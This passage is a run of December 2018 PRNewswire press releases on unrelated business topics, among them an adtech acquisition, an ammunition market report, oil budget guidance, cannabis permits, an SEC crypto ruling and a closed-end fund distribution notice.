digital display ads will be bought via automated channels. In light of this trend, FreakOut decided to strategically partner with Playwire to further strengthen its offering of pioneering programmatic advertising technology and provide even more expanded access and outreach to its client base. As a result of a truly "win-win" deal, FreakOut unlocks access to English-speaking markets throughout the globe, while Playwire benefits from FreakOut's premium APAC media partners. Additionally, this partnership aligns complementary technology from each company together, forging a unique digital advertising supply chain that guarantees optimal advertising revenue for web publishers. Yuzuru Honda, CEO and President - FreakOut Holdings, Inc., commented: "We are excited to have Playwire as part of our group, and we are committed to boosting global growth. With the full resources of both FreakOut and Playwire, we will build our presence in a global market together." FreakOut and Playwire share a vision of letting web publishers do what they do best - create great content - by freeing publishers from the ever-increasing technical complexities of implementing digital advertising. Through the intelligent use of technology, the companies promote brand safety, protect against fraud, and locate ads that deliver the best experience for the advertiser, publisher, and viewer. Narayan Murthy Ivaturi, Chief Operating Officer - FreakOut Adtech Business, commented: "This year our emphasis was to enhance our programmatic offering and work with most of the named publisher groups in APAC and other expansion markets like UAE, Russia and Australia. The next step of this strategy is to take our presence into the biggest programmatic market in the world, and who else can be a better partner than Playwire. We are really excited to welcome Jayson and team into the FreakOut family as they add a lot of value to our mission with their technology capability and years of experience in Adtech." Jayson Dubin, CEO - Playwire, added: "I'm thrilled that this acquisition allows Playwire to share its innovative technology and reach a larger audience. By joining forces with our Asian counterpart FreakOut, we have become one of the largest global media and technology companies in the world for digital advertising. We look forward to working together with the FreakOut team to create strategic synergies by mutually leveraging our group assets across North America, Europe, and Asia." About FreakOut FreakOut is a global marketing technology company with programmatic solutions (DSP, SSP) delivering in-feed display and in-feed video formats across 3,000 publishers. With its global headquarters in Singapore, FreakOut consists of more than 600 employees in 18 offices across 16 countries, spreading throughout Asia Pacific, Middle East and Europe. Each office is committed to servicing the digital marketing needs of both advertisers and publishers, based on our unique and edgy value "Dance First. Play Different". FreakOut is part of FreakOut Holdings Inc, which is listed on the Tokyo Stock Exchange (TSE: 6094) and oversees the media investment management sector for FreakOut. Visit us at http://foutap.com/ and follow us on https://www.facebook.com/FreakOutGlobal/ , https://www.linkedin.com/company/FreakOutglobal/ and https://twitter.com/FreakOutGlobal . About Playwire Playwire is a global technology and services company that helps publishers maximize revenue from their user base and run their businesses more efficiently. With its Complete Monetization Platform, the company is able to provide an all-inclusive solution to manage every aspect of the ad ecosystem for digital publishers through machine learning technology, dubbed Revenue Intelligence. Playwire's portfolio includes managing over 450 websites, serving six billion video and display ads, and streaming one billion minutes of video each month. The exclusive nature of the company's relationship with its partners allows Playwire to provide all of its digital advertising services through one channel. Playwire is headquartered in Deerfield Beach, Florida and has business operations and satellite offices around the globe. For more information, please visit http://www.playwire.com and on Twitter @playwire. SOURCE FreakOut Related Links foutap.com CHARLOTTE, N.C., Dec. 20, 2018 /PRNewswire/ -- Garfinkel Immigration Law Firm launched a charitable fund in 2017, in commemoration of its 20th anniversary, to return a portion of its profits to the local community. The Fund supports nonprofit organizations committed to pluralism and multiculturalism, and especially those nonprofits that also serve the economically marginalized. The 2018 Fund beneficiaries, nominated by members of the Garfinkel Immigration staff, include RAICES (www.raicestexas.org), Care Ring (www.careringnc.com), and Refugee Support Services (www.refugeesupportservices.org). Garfinkel Immigration Law Firm RAICES (Refugee and Immigrant Center for Education and Legal Services) is a Texas-based nonprofit that promotes justice by providing free and low-cost legal services supporting underserved immigrant children, families, and refugees. Care Ring provides health services for individuals who are challenged in accessing high quality and affordable health care. Refugee Support Services (RSS) assists newly-arriving refugees through educational programs designed to promote refugee self-sufficiency. In addition to its financial commitment, Garfinkel Immigration will also contribute volunteer hours in spring 2019 to Refugee Support Services. "We feel a sense of responsibility to the community, both in Charlotte and nationally, and view our donation of funds and volunteer hours as an extension of our corporate culture and values," says Managing Partner, Steve Garfinkel, adding, "It was great to involve the staff this year in nominating and selecting the beneficiaries of the fund. Our talented and dedicated team works hard throughout the year to serve our clients and to make our business successful, and we are proud to make these gifts to causes they care about." The Firm appreciates the clients who have enabled its success over the last 21 years. Garfinkel Immigration Law Firm specializes in providing expert legal advice and service to individuals and international employers in a wide variety of industries and sectors. The Firm is one of the largest law firms dedicated exclusively to immigration law in the Southeast. Led by eight attorneys (four of whom are North Carolina Board Certified Immigration Law Specialists), Garfinkel builds collaborative relationships with its clients, leveraging creative approaches and industry-leading expertise to provide the best possible legal advice and service. Supporting the Firm's expert attorneys are more than 35 paralegals and administrative personnel, who provide comprehensive service and personal attention to its clients. For more information on Garfinkel Immigration Law Firm or its charitable fund, please visit https://www.garfinkelimmigration.com or call 704-442-8000. Contact: Ronald Townsend Garfinkel Immigration Law Firm 6100 Fairview Rd, Suite 200 Charlotte, NC, 28210 Phone: 704-442-8000 Fax: 704-442-8080 Email: [email protected] SOURCE Garfinkel Immigration Law Firm Related Links https://www.garfinkelimmigration.com DALLAS, Dec. 20, 2018 /PRNewswire/ -- Generational Equity, a leading mergers and acquisitions advisor for privately held businesses, is pleased to announce the sale of its client, Simplus Management Corp., to RTC Partners. The acquisition closed June 29, 2018. Based in Los Alamitos, Simplus Management provides professional program, project and construction management services to governmental agencies and to architect and engineering firms throughout Southern California. RTC Partners, headquartered in New York City, is a private investment firm that partners with managers of middle market companies to unlock growth opportunities. RTC Partners combined the Simplus Management acquisition with three other businesses to form Anser Advisory, its new portfolio company that specializes in capital program funding, program management, project management, construction management and executive advisory services nationwide. RTC anticipates continuing to grow Anser through acquisitions. Generational Equity Senior Managing Director Stephen Crisham, with support from VP Chad Comroe, carried the deal to a successful close. Executive Managing Director Randy Kamin established the initial relationship with Simplus. "This acquisition fit nicely into the strategy being implemented by the buyer," said Crisham. "It fit the line of business as well as the geographic market." About Generational Equity Generational Equity, Generational Capital Markets (member FINRA/SIPC), DealForce and Talis Advisors are part of the Generational Group, which is headquartered in Dallas and is one of the leading M&A advisory firms in North America. With over 250 professionals located throughout North America, the companies help business owners release the wealth of their business by providing merger, acquisition and strategic growth advisory services. Their four-step approach features exit planning education, business valuation, value enhancement strategies, and M&A transactional services. The M&A Advisor named the company the 2016, 2017 and 2018 Investment Banking Firm of the Year. For more, visit the https://www.genequityco.com/ or the Generational Equity press room. For more information: Carl Doerksen 972-232-1125 [email protected] SOURCE Generational Equity Related Links https://www.genequityco.com/ NEW YORK, Dec. 20, 2018 /PRNewswire/ -- The Global Small Caliber Ammunition Market is Anticipated to Reach $8.62 billion by 2023, Reports BIS Research Read the full report: https://www.reportlinker.com/p05663444 The global small caliber ammunition market is expected to witness a robust growth during the forecast period 2018-2023, as the rapid increase in civilian conflicts and terrorist clutter across the world has resulted in increasing the business prospects for the ammunition industry. The rising demand for handguns for self-defense, rising wars, conflicts, terrorist activities, and modernization in the procurement of defense products & services are some of the key drivers for the growth of the global small caliber ammunition market. The small caliber ammunition industry, in the recent years, has seen manufacturers developing ammo of different calibers for both commercial and military applications.Of late, with the rising interests of people in activities such as hunting and shooting along with the rising concern for personal defense, the small caliber ammunition industry has been observing a robust growth. For instance, trends such as trophy hunting or target shooting have become popular in major countries around the world.Target shooting (such as skeet shooting, trap shooting, and sporting clays), in particular, is increasingly practiced by both sportsmen and youngsters alike. In addition to this, there is an increase in the demand for handguns and ammunition for self-defense owing to the increasing crime rates and growing fear due to the influx of refugees in various nations across the globe. According to BIS Research analysis, the global small caliber ammunition market generated $7.37 billion in 2018 and is estimated to grow at a CAGR of 3.19% during the forecast period 2018-2023. With the U.S. acquiring the most significant market share, globally, North America dominated the global small caliber ammunition market in 2017. However, Asia-Pacific is expected to have the highest growth rate during the forecast period 2018-2023. Following points provide a detailed description of the report content and the topics covered in the report: The study examines the prime supply-side factors, which affect the growth of the market, along with the current and future trends, market drivers, restraints, and challenges prevalent in the global small caliber ammunition market. A detailed market share analysis has been included in this report which focuses on the -key market developments and strategies, followed by the top players in the market. Additionally, a market share analysis diagram has been included in the existing study to analyze the competitive strength of the players in the global small caliber ammunition market. A detailed Porter's Five Forces and PESTLE analysis has been included in the report. This report identifies the global small caliber ammunition market under different segments such as gun type, caliber type, applications, and region. The global small caliber ammunition market for the major regions, including North America, Europe, Asia-Pacific, Latin America, Middle East, and Africa, has been analyzed in the report. In the Company Profiles section, the study provides a detailed analysis of the 17 key players in the global small caliber ammunition market, including Northrop Grumman, Nammo AS, BAE Systems, General Dynamics Ordnance and Tactical Systems, Singapore Technologies Engineering Ltd, Poongsan Corporation, Denel SOC Ltd (Denel PMP), and Global Ordnance, among others. This section covers business financials, company snapshots, key products and services, major developments, future programs (if any), and the individual SWOT analysis. Executive Summary The small caliber ammunition industry, in the recent years, has seen manufacturers developing ammunition of different calibers for both commercial and military applications.Of late, with the growing interests of people in activities such as hunting and shooting along with the rising concern for personal defense, the small caliber ammunition industry has been observing a robust growth. For instance, trends such as trophy hunting or target shooting have become popular in major countries around the world.Target shooting (such as skeet shooting, trap shooting, and sporting clays), in particular, is being increasingly practiced by both sportsmen and youngsters alike. Adding to this, there is an increase in the demand for handguns and ammunition for self-defense owing to the increasing crime rates and growing fear due to the influx of refugees in various nations across the globe. There have been increments made in the overall defense spending of various countries all over the world. The growing defense budget of the different countries is playing a major part in the defense modernization program adopted for strengthening the nation's military forces. The U.S. Department of Defense (DoD) has the highest defense budget of $611 billion for FY 2017 that includes army, navy, and air force defense budgets for a wide-range of ammunition. Asia-Pacific is one of the emerging regions that is continuously increasing expenditure on defense in order to develop the military power. This has increased the overall imports of arms and ammunition by a number of emerging countries in the Asia-Pacific region. Furthermore, China had the second largest defense budget after the U.S. for FY 2017. The growing demand for small firearms ammunition in emerging countries (such as Asia-Pacific, Middle East, and Africa) is likely to increase opportunities for small caliber ammunition players across different sectors, including civilian, law enforcement, hunting & sports, and military. The rapid increase in civilian conflicts and terrorist clutter across the world has further increased the business prospects for the ammunition industry. The key players actively participating in the global small caliber ammunition market are Northrop Grumman, Nammo AS, BAE Systems, General Dynamics Ordnance and Tactical Systems, Singapore Technologies Engineering Ltd, Poongsan Corporation, Denel SOC Ltd (Denel PMP), and Global Ordnance, among others. The market reported a revenue of $7.37 billion in 2018 and is expected to grow at a significant CAGR during the forecast period 2018-2023. The global small caliber ammunition market has been segmented into four gun types: handguns, rifles, shotguns, and others. The handguns gun type market acquired the largest share in 2018.On the other hand, the rifles gun type market is expected to grow at the highest CAGR during the forecast period 2018-2023. Additionally, the small caliber ammunition market is classified into various caliber types such as 5.56mm, 9mm, 7.62mm, 12 Gauge, .22LR, .223 Rem, .308 Caliber, and others. North America, followed by Europe, Asia-Pacific, Latin America, Middle East, and Africa, acquired the largest share of the global small caliber ammunition market. The U.S. and Canada are some of the prominent countries in North America for the development of the small caliber ammunition market. The U.S. dominated the overall market of the small caliber ammunition in the year 2018. However, Asia-Pacific is expected to grow at the highest CAGR during the forecast period 2018-2023. In Europe, the U.K. is one of the prominent countries which is currently focusing on the deployment of small caliber ammunition. Some of the other prominent countries include Germany and France. The Asia-Pacific region majorly consists of China, South Korea, Japan, and India in the small caliber ammunition market.Currently, South Korea has the largest share of the small caliber ammunition market, and China is expected to grow at the highest rate in the Asia-Pacific region during the forecast period. Moreover, there are ample opportunities for new entrants in this region, as the demand for small caliber ammunition is increasing for civilian (self-defense) applications. Countries Covered North America The U.S. Canada Europe Germany The U.K. France Italy Russia Asia-Pacific (APAC) China South Korea India Japan Middle East Turkey Isarel Latin America Brazil Mexico Argentina Africa South Africa Read the full report: https://www.reportlinker.com/p05663444 About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Contact Clare: [email protected] US: (339)-368-6001 Intl: +1 339-368-6001 SOURCE Reportlinker Related Links http://www.reportlinker.com HOUSTON, Dec. 20, 2018 /PRNewswire/ -- Goodrich Petroleum Corporation (NYSE American: GDP) today announced that it is reducing its 2019 capital expenditure budget by approximately $40 million, yet expects to maintain its previous production guidance for 2019 due to outperformance of its wells relative to its type curves. The Company now expects its capital expenditure budget for 2019 to be in the range of $90 million to $100 million. At current commodity prices, the Company anticipates generating EBITDA approximately in-line with 2019 capital expenditures and expects to exit 2019 at approximately 1.0 times debt to EBITDA. The Company expects to grow production by 90 105% versus 2018 to a range of approximately 49.3 52.9 Bcfe for the year, or an average of 135,000 145,000 Mcfe per day. Natural gas is expected to comprise approximately 98% of total production. The Company's capital expenditure budget contemplates drilling and/or completing 11 gross (9.8 net) horizontal wells for the year, with a blended net average lateral length of approximately 7,000 feet. The budget currently contemplates that the Company will operate 100% of its net wells for the year. The preliminary capital expenditure budget is subject to quarterly review and approval by the Company's board of directors, with the flexibility to accelerate in the second half of the year depending on commodity prices. The Company has allocated the vast majority of the budget to drilling and completing core Haynesville Shale wells in the Bethany-Longstreet and Thorn Lake areas of Caddo, DeSoto and Red River Parishes, Louisiana. Cash margin is expected to continue to expand as unit costs decrease with the growth in volumes, and the Company is issuing a guidance range for the following cash costs per Mcfe of production for 2019: Mcfe Lease Operating Expense ("LOE") $0.20 0.30 Taxes $0.05 0.09 Transportation $0.40 0.48 G&A (Cash) $0.25 0.35 The Company has hedged approximately 50 - 53% of its expected natural gas volumes for the year at a blended average price of $2.87 and approximately 62.5% of expected crude oil volumes for the year at $51.08. Operational Update The Company expects to commence frac operations on two Cason Dickson (98% WI) wells (approximately 9,300 foot laterals) in the Thorn Lake area of Red River Parish, Louisiana beginning in early January, to be followed by two Loftus (~90% WI) wells (7,500 foot laterals) in the Bethany-Longstreet field in DeSoto Parish, Louisiana. . The Company expects to begin the year with one rig running on its core North Louisiana Haynesville acreage and add a second rig in the second quarter. OTHER INFORMATION In this press release, the Company refers to several non-US GAAP financial measures, including Pro Forma Adjusted EBITDA and DCF. Management believes Pro Forma Adjusted EBITDA and DCF are good financial indicators of the Company's performance and ability to internally generate operating funds. DCF should not be considered an alternative to net cash provided by operating activities, as defined by US GAAP. Pro Forma Adjusted EBITDA should not be considered an alternative to net loss, as defined by US GAAP. Management believes that these non-US GAAP financial measures provide useful information to investors because they are monitored and used by Company management and widely used by professional research analysts in the valuation and investment recommendations of companies within the oil and gas exploration and production industry. Initial production rates are subject to decline over time and should not be regarded as reflective of sustained production levels. In particular, production from horizontal drilling in shale oil and natural gas resource plays and tight natural gas plays that are stimulated with extensive pressure fracturing are typically characterized by significant early declines in production rates. Unless otherwise stated, oil production volumes include condensate. Certain statements in this news release regarding future expectations and plans for future activities may be regarded as "forward looking statements" within the meaning of the Securities Litigation Reform Act. They are subject to various risks, such as financial market conditions, changes in commodities prices and costs of drilling and completion, operating hazards, drilling risks, and the inherent uncertainties in interpreting engineering data relating to underground accumulations of oil and gas, as well as other risks discussed in detail in the Company's Annual Report on Form 10-K for the year ended December 31, 2016 and other subsequent filings with the Securities and Exchange Commission. Although the Company believes that the expectations reflected in such forward looking statements are reasonable, it can give no assurance that such expectations will prove to be correct. Goodrich Petroleum is an independent oil and natural gas exploration and production company listed on the NYSE American under the symbol "GDP". SOURCE Goodrich Petroleum Corporation Related Links http://www.goodrichpetroleum.com WEST HOLLYWOOD, Calif., Dec. 19, 2018 /PRNewswire/ -- The City of West Hollywood announced the awardees of its cannabis licensing process this week. Green Rush Consulting is thrilled to announce that its client Greenwolf West Hollywood won cannabis permits for all four applications submitted. A total of 20 businesses have been awarded licenses under West Hollywood's new cannabis licensing system, selected from a highly competitive pool of 122 different applicants. A mockup of future location for Greenwolf West Hollywood Greenwolf West Hollywood is one of three companies awarded four or more license types. Headed by leaders from the iconic Pink Dot, legendary Loudpack Inc., and veteran Greenwolf, the company plans to launch an understated and modern retail space featuring an intimate consumption lounge and event space, alongside full-service delivery. "We are thrilled on behalf of Greenwolf West Hollywood, Loudpack Inc., and Pink Dot," says Zeta Ceti, Founder and CEO of Green Rush Consulting. "We are very pleased with the results and wish the team future success in one of the largest cannabis markets in the world. I am very proud of our team. This is a testament to GRC's ability to navigate complex application processes and produce a successful winning result, no matter what the odds are or what we are up against." "They were so professional and easy to work with," says Sol Yamini, CEO of Greenwolf West Hollywood. "Green Rush Consulting presented our project in the best possible light and gave us the advice necessary to strengthen our application across the board and now we see the result." "We are so pleased to be embarking on these incredibly exciting opportunities in West Hollywood," says Joanna Licalsi, Director of Business & Legal Affairs for Loudpack Inc. "It was very stiff competition, and we owe a lot to the talented and professional people at Green Rush Consulting who were fundamental in helping us accomplish this incredible task." Greenwolf West Hollywood's CEO Sol Yamini has owned and operated Pink Dot on the Sunset Strip since 2004. Joining him to head up the retail and lounge areas are Elizabeth Caffrey and Bernie Bregman, currently holding leading roles with Greenwolf (LA) and Loudpack Inc. Renowned chef Seth Glassman will establish a high-end kitchen, bringing his expertise from restaurants BOA, Katana, and Pistola. About Green Rush Consulting: Green Rush Consulting is a national cannabis consulting firm that has secured licenses and supported cannabis businesses in states with a wide array of regulatory and business environments, including Arizona, California, Connecticut, Illinois, Maryland, Nevada, New Jersey, Oregon, Ohio, and Washington. Visit us at www.greenrushconsulting.com . Contact: Allan Steiner [email protected] 2700 International Blvd., Suite 25 Oakland, CA Ph: 510-479-7327 Related Links Green Rush Consulting SOURCE Green Rush Consulting Related Links https://greenrushconsulting.com NEW YORK, Dec. 20, 2018 /PRNewswire/ -- HSA administration company, Clarity, discusses five essential elements to consider when choosing an HSA administrator. Choosing an HSA administrator is not a decision that should be taken lightly as there are numerous factors to be taken into consideration to ensure the right fit. Here are five. The administrator's business goals. It is important to choose an HSA administrator that aligns with the company's mission and objectives. If both parties aren't on the same page, it can have a negative impact on both company brand and employee satisfaction. The amount of education the administrator offers. An HSA administrator must make employee education a top priority, so each employee is able to make the best decision possible for his or her situation and maximize those benefits. An effective administrator should offer engaging information in several formats, such as print, internet, and social media, and provide updates to this information throughout the year. The account access the administrator allows. An effective HSA administrator will utilize an online platform with decision support tools to make the enrollment process seamless and allow employees 24/7 access at their convenience. An administrator offering such a platform can help guarantee that claims flow seamlessly between accounts, even when circumstances change over the years. Additionally, employees will want to access their funds with familiar, convenient methods, such as debit cards. A robust mobile application will also result in a positive employee experience. The level of support the administrator provides. Once employees have been presented benefits information, they are sure to have many questions. An HSA administrator should not only be prepared to answer those questions, but also provide superior customer service and account management. Once again, the more knowledge employees have about their accounts and their potential, the more satisfied employees will be. The account diversity the administrator presents. Since HSA accounts are not one-size-fits-all and typically fall into the spenders, savers, and investors categories, an HSA administrator should offer an FDIC-insured, interest-bearing cash accountalong with an integrated HSA investment account optionto meet all employee needs. About Clarity Benefit Solutions: Clarity Benefit Solutions HSA Administration provides technology that makes the health insurance plan selection process fast, easy, and straightforward. For over two decades, we have provided clients with industry-leading technology, compliance, and exceptional customer service. Our offering is designed to save time and lower the costs of managing benefits while also promoting employee self-service and automated ACA compliance. SOURCE Clarity Benefit Solutions Related Links http://www.claritybenefitsolutions.com WASHINGTON, Dec. 19, 2018 /PRNewswire/ -- When: Thurs. Dec. 20, 11:00am, National Press Club (Lisagor Room) The event will be livestreamed . Panelists: Joshua Philipp , Senior Investigative Reporter, The Epoch Times (bio below) Louisa Greve , Director for External Affairs, Uyghur Human Rights Project (bio below) Moderator: Stephen Gregory, DC Bureau Chief & Publisher, The Epoch Times A new in-depth Report on China's Huawei exposes it as a powerful tool of the Chinese Communist Party. "Huawei plays a key role in the Chinese Communist Party's programs of mass surveillance, human rights abuse, and technological dominance." The Epoch Times Editor-in-Chief Jasper Fakkert The world's biggest telecom company, Huaweiwhich works hand-in-glove with the Chinese Communist Partyis positioning itself to dominate 5G technology, potentially gaining access to a large portion of data transfers worldwide. The Chinese Communist Party has detained Canadian citizens likely in retaliation for the recent arrest of Huawei CFO Meng Wanzhou by Canadian authorities. by Canadian authorities. Huawei was involved in creating China's " Golden Shield " internet censorship infrastructure; the incipient "social credit system" to track and rate citizens based on behavior; and video monitoring project " Heaven Net " (tian wan). Many of Huawei's clients are Chinese state-security related. Louisa Greve is the Director for External Affairs of the Uyghur Human Rights Project. She is an expert on human rights in China and an experienced non-profit advisor. She was formerly the East Asia Director at the National Endowment for Democracy. She is the author of several book chapters on ethnic issues and human rights in China. Joshua Philipp is a senior investigative reporter at The Epoch Times. He specializes in analysis on politics, cybersecurity, and defense. His investigations over the last decade into connections between Chinese consulates, spy networks, and organized crime circles gives him unique insight into the global threat Huawei poses. The Epoch Times, with a vision of Truth and Tradition, is a New York-based global digital and print media company publishing in 35 countries and 23 languages. Part of Epoch Media Group, we provide credible, quality news that is honest and unbiased, never slanting from the influence of outside interests. In the face of the contemporary media climate, we put forward our commitment to unwavering, truthful reporting. SOURCE The Epoch Times Related Links https://www.theepochtimes.com NEW YORK, Dec. 20, 2018 /PRNewswire/ -- Critically lauded, Indian born world musician Falu (aka Falguni Shah) has scored her first GRAMMY nomination in Best Children's Album for her latest album, Falu's Bazaar PRESS HERE to listen. Falu's Bazaar was inspired by her desire to address her son's fascination with their cultural values and customs, exploring Indian culture through song, and celebrating the instruments, languages, sights, and humanity of a diverse world. A true family affair, Falu's husband plays on the record, while three generations comprise its voice with vocals performed by Falu, her mother, and her son Nishaad. Falu's Bazaar is a trilingual album sung in English, Hindi, and Gujarati, with lush traditional instrumentation, gorgeous production, and delicate delivery. Falu Soon after moving to the States from Bombay in 2000, Falu recorded and performed alongside a wide array of artists including: A.R. Rahman (Slumdog Millionaire), Yo-Yo Ma (in The Silk Road Project), Philip Glass, Ricky Martin, Wyclef Jean, her mentor Ustad Sultan Khan, Blues Traveler, and Bernie Worrell (Parliament Funkadelic). Her songs have been featured in multiple blockbuster films, including Angelina Jolie's directorial debut A Place in Time, and her debut self-titled album was featured in Smithsonian's National Museum of Natural History's "Beyond Bollywood" exhibit as representative of the voice of Indian American trendsetting artists. Additionally, Falu was named one of the 20 most influential global Indian women by the Economic Times of India in 2015 and this year she won the Women Icons of India award in Mumbai, India. Falu has sparked the interest of all types of music enthusiasts with her live performances and has appeared both nationally on FOX TV and internationally on National Geographic TV. She has sung at the prestigious Carnegie Hall, Lincoln Center for the Dalai Lama, The White House for President Obama's first State Dinner in honor of the Indian Prime Minister Manmohan Singh, and at the Time 100 Gala where she performed a duet with Slumdog Millionaire composer A.R. Rahman in front of the one hundred of Time Magazine's most influential people in the world, including First Lady Michelle Obama and Oprah Winfrey. FOLLOW FALU Facebook | Instagram | Twitter | Website For more information on Falu, please contact: Press Here 212-246-2640 Drew Kilman / [email protected] SOURCE Press Here Publicity PITTSBURGH, Dec. 20, 2018 /PRNewswire/ -- "I wanted to help parents and kids by making it safer and less scary to learn to ride bikes," said an inventor from Kotzebue, Alaska. "This inspired me to develop an enhanced set of training wheels." He developed the LITTLE ROLLER to make it easier for a child to learn to ride a bicycle. The training wheels are easily adjustable to meet individual needs. The design reduces the risk of falls while learning to ride, which minimizes the chances of injuries. All of this provides added peace of mind. Additionally, the training wheels are easy to use. The original design was submitted to the National Sales office of InventHelp. It is currently available for licensing or sale to manufacturers or marketers. For more information, write Dept. 17-SKC-508, InventHelp, 217 Ninth Street, Pittsburgh, PA 15222, or call (412) 288-1300 ext. 1368. Learn more about InventHelp's Invention Submission Services at http://www.InventHelp.com. SOURCE InventHelp Related Links http://www.inventhelp.com SAN FRANCISCO, Dec. 20, 2018 /PRNewswire/ -- Invitae Corporation (NYSE: NVTA), one of the fastest growing genetics companies, today announced that Sean George, co-founder and chief executive officer of Invitae, will present at the 37th Annual J.P. Morgan Healthcare Conference on Wednesday, January 9, 2019 at 8:30 a.m. Pacific at the Westin St. Francis Hotel in San Francisco. A live webcast of the presentation may be accessed by visiting the investors section of the company's website at ir.invitae.com . A replay of the webcast will be available shortly after the conclusion of the presentation and will be archived on the company's website. About Invitae Invitae Corporation (NYSE: NVTA) is one of the fastest growing genetics companies in the United States. Invitae's mission is to bring comprehensive genetic information into mainstream medicine to improve healthcare for billions of people. Invitae's goal is to aggregate the world's genetic tests into a single service with higher quality, faster turnaround time, and lower prices. For more information, visit our website at invitae.com. Contact: Laura D'Angelo [email protected] (628) 213-3369 SOURCE Invitae Corporation Related Links http://invitae.com TRONDHEIM, Norway, Dec. 20, 2018 /PRNewswire/ -- Aker BP ASA is pleased to invite investors, analysts and media to its Capital Markets Day on 17 January 2019, at Fornebuporten, Lysaker, Norway. Registration: 08.30 (CET) Presentations and Q&A: 09:00 - 12:30 (CET) Venue: Fornebuporten (Grand Hall, building B), Oksenyveien 10, Lysaker, Norway. The program will include presentations by the executive management in Aker BP. To attend the Capital Markets Day, please submit your registration to [email protected] by 10 January 2019. A live webcast of the presentations will be available on our website www.akerbp.com/en CONTACT: Investor contact: Kjetil Bakken VP Investor Relations tel.: +47-91-889-889 Media contact: Tore Langballe, VP Communications tel.: +47-907-77-841 Ole-Johan Faret Press Spokesman tel.: +47-402-24-217 This information was brought to you by Cision http://news.cision.com http://news.cision.com/aker-bp-asa/r/invitation-to-capital-markets-day-17-january-2019,c2701064 The following files are available for download: SOURCE Aker BP ASA Related Links http://www.akerbp.com/en When digital assets and identity company Blockvest began distributing ICO tokens in mid-2018, it signaled something of a shift in the cryptocurrency space. The company issued 32 ERC20 tokens to investors, each of whom paid no more than $10,000 for the tokens they received. Eventually, these transactions gained the attention of the Securities and Exchange Commission, and that's when everything changed. In October, the SEC stepped in and suspended sale of the tokens, claiming that their sale represented a security. They further announced that in selling these tokens, Blockvest was taking part in the illegal sale of securities. The SEC backed up their claim with an accusation that the tokens didn't pass the Howey Test, a measure established by the SEC to determine whether a transaction qualifies as an investment contract and, as such, is subject to regulations of the Securities Act of 1933. As the case against Blockvest was reviewed, U.S. Judge Gonzalo Curiel of the Southern District of California froze the company's assets. After evaluating the evidence and assessing it against the defense posed by Blockvest, Judge Curiel disagreed with the SEC. In November, he ruled that the SEC had not provided enough evidence to prove that the Blockvest tokens should be considered securities. Thus the preliminary SEC request for an injunction against Blockvest backers was denied. What this ruling means for Crypto One thing that's significant about this case is that it's the first time the SEC has been unable to show that a digital ICO asset is a security, per the Howey Test. We'd like to be able to say this is a win for all of crypto, rather than simply for Blockvest, but that's not the case. Now let's talk about why. Key facts in the SEC's complaint against Blockvest were found by Judge Curiel to be disputable, which means that the SEC didn't submit sufficient evidence to prove their case. Since that is the standard before an indictment, and it was not met, the SEC has no case. Had the SEC gone to court and proven their case, thus indicting Blockvest and moving to a trial, the judge's ruling in the trial would have more widespread meaning to the crypto community, as there would have been a decision based on the merits of the case. Despite the lack of a trial it is still essential for the crypto community to examine what happened here and attempt to learn from it. One of the reasons the judge disagreed with the evidence presented is because Blockvest explained that they were issuing the tokens as a means to test the exchange, not to create promised profit for investors. Further, Blockvest sold the tokens to friends of the company's founder, Reginald Buddy Ringgold III, not to investors at large. When considering the relevance of the Howey Test, which is based on a 1946 case the SEC brought against a Florida company selling citrus grove real estate contracts, there must be an expectation of profits from the investment. In the case of the Blockvest tokens, if investors were aware that they were buying a token to test an exchange, there would be no reasonable expectation of a profit. Because the SEC wasn't able to provide any marketing materials from Blockvest that focused on profit potential, they could not prove their case. Blockvest may have won the battle, but it isn't entirely free and clear at this point. The company did use the SEC logo on its materials, which could provoke penalties coming their way. About IPOFLOW: IPOFLOW is a leading equity Regulation A+ offerings platform opening up the IPO process to everyone. Operated by Adamson Brothers, Corp., IPOFLOW specializes in providing small companies with channels to general public growth capital utilizing Regulation A+. With a team of professionals possessing over 30 years of business, financial and investment banking experience, IPOFLOW offers clients expert advice in corporate structure, corporate financial planning, branding, marketing and business development. Contact Information IPOFLOW Andy Altahawi [email protected] www.ipoflow.com Tel. 1-646-694-0051 SOURCE IPOFLOW Related Links http://www.ipoflow.com BOSTON, Dec. 20, 2018 /PRNewswire/ -- John Hancock Premium Dividend Fund (NYSE: PDT) (the "Fund"), a closed-end fund managed by John Hancock Advisers, LLC and subadvised by John Hancock Asset Management a division of Manulife Asset Management (US) LLC, announced today sources of its monthly distribution of $0.0975 per share paid to all shareholders of record as of December 13, 2018, pursuant to the Fund's managed distribution plan. This press release is issued as required by an exemptive order granted to the Fund by the U.S. Securities and Exchange Commission. Notification of Sources of Distribution This notice provides shareholders of the John Hancock Premium Dividend Fund (NYSE: PDT) with important information concerning the distribution declared on December 3, 2018, and payable on December 20, 2018. No action is required on your part. Distribution Period: December 2018 Distribution Amount Per Common Share: $0.0975 The following table sets forth the estimated sources of the current distribution, payable December 20, 2018, and the cumulative distributions paid this fiscal year to date from the following sources: net investment income; net realized short term capital gains; net realized long term capital gains; and return of capital or other capital source. All amounts are expressed on a per common share basis and as a percentage of the distribution amount. Source Current Distribution ($) % Breakdown of the Current Distribution Total Cumulative Distributions for the Fiscal Year to Date ($)1 % Breakdown of the Total Cumulative Distributions for the Fiscal Year to Date1 Net Investment Income 0.0672 69% 0.1579 81% Net Realized Short- Term Capital Gains 0.0000 0% 0.0204 10% Net Realized Long- Term Capital Gains 0.0021 2% 0.0167 9% Return of Capital or Other Capital Source 0.0282 29% 0.0000 0% Total per common share 0.0975 100% 0.1950 100% Average annual total return (in relation to NAV) for the 5 years ended on November 30, 2018 10.43% Annualized current distribution rate expressed as a percentage of NAV as of November 30, 2018 8.20% Cumulative total return (in relation to NAV) for the fiscal year through November 30, 2018 0.23% Cumulative fiscal year-to-date distribution rate expressed as a percentage of NAV as of November 30, 2018 1.37% You should not draw any conclusions about the Fund's investment performance from the amount of this distribution or from the terms of the Fund's managed distribution plan. The Fund estimates that it has distributed more than its income and net realized capital gains; therefore, a portion of your distribution may be a return of capital. A return of capital may occur, for example, when some or all of the money that you invested in the Fund is paid back to you. A return of capital distribution does not necessarily reflect the Fund's investment performance and should not be confused with "yield" or "income." The amounts and sources of distributions reported in this Notice are only estimates and are not being provided for tax reporting purposes. The actual amounts and sources of the amounts for tax reporting purposes will depend upon the Fund's investment experience during the remainder of its fiscal year and may be subject to changes based on tax regulations. The Fund will send you a Form 1099-DIV for the calendar year that will tell you how to report these distributions for federal income tax purposes. The Fund has declared the December 2018 distribution pursuant to the Fund's managed distribution plan (the "Plan"). Under the 